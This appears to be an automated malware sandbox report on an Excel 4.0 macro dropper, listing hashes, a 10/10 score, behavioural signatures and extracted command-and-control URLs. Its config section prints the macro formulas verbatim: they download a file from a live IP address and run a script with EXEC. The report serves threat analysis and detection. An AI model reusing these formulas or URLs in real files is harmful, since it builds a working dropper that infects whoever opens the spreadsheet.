General

  • Target

    b8c2f17712a9c4518f43446b3a394535

  • Size

    6KB

  • Sample

    231222-rgcsesffar

  • MD5

    b8c2f17712a9c4518f43446b3a394535

  • SHA1

    f5011d5feacf363e3eeeb03b986dab3752e14426

  • SHA256

    609d25981f7a9ccf2eb9d4b5b13c19c7567801d5892974165cc3ace671ab49a8

  • SHA512

    ddb559a95e14f11811716a5ad6be21839c26f948b4d69d5fe82bab5b73a77b1dd134ff05546c191d6766c613f8a25f9eed9247058cf5d067696815d500500da8

  • SSDEEP

    192:NDS0uSKbrA2OmmfR18UhHFBFYuzb98yaHlA+7:NnuXM2wz1FY2b98yK1

Score
10/10
xlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://46.17.98.187/index.php

http://google.com/index.php

Attributes
  • formulas

    =CALL("Urlmon","URLDownloadToFileA","JJCCJJ",0,"http://46.17.98.187/index.php","C:\~\pes.msi",0,0) =CALL("Urlmon","URLDownloadToFileA","JJCCJJ",0,"http://google.com/index.php","C:\~\pes.msi",0,0) =EXEC("wscript C:\zer\spp.vbs") =HALT()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://46.17.98.187/index.php

xlm40.dropper

http://google.com/index.php

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://46.17.98.187/index.php

Targets

    • Target

      b8c2f17712a9c4518f43446b3a394535

    • Size

      6KB

    • MD5

      b8c2f17712a9c4518f43446b3a394535

    • SHA1

      f5011d5feacf363e3eeeb03b986dab3752e14426

    • SHA256

      609d25981f7a9ccf2eb9d4b5b13c19c7567801d5892974165cc3ace671ab49a8

    • SHA512

      ddb559a95e14f11811716a5ad6be21839c26f948b4d69d5fe82bab5b73a77b1dd134ff05546c191d6766c613f8a25f9eed9247058cf5d067696815d500500da8

    • SSDEEP

      192:NDS0uSKbrA2OmmfR18UhHFBFYuzb98yaHlA+7:NnuXM2wz1FY2b98yK1

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    • Process spawned suspicious child process

      This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

MITRE ATT&CK Enterprise v15

Tasks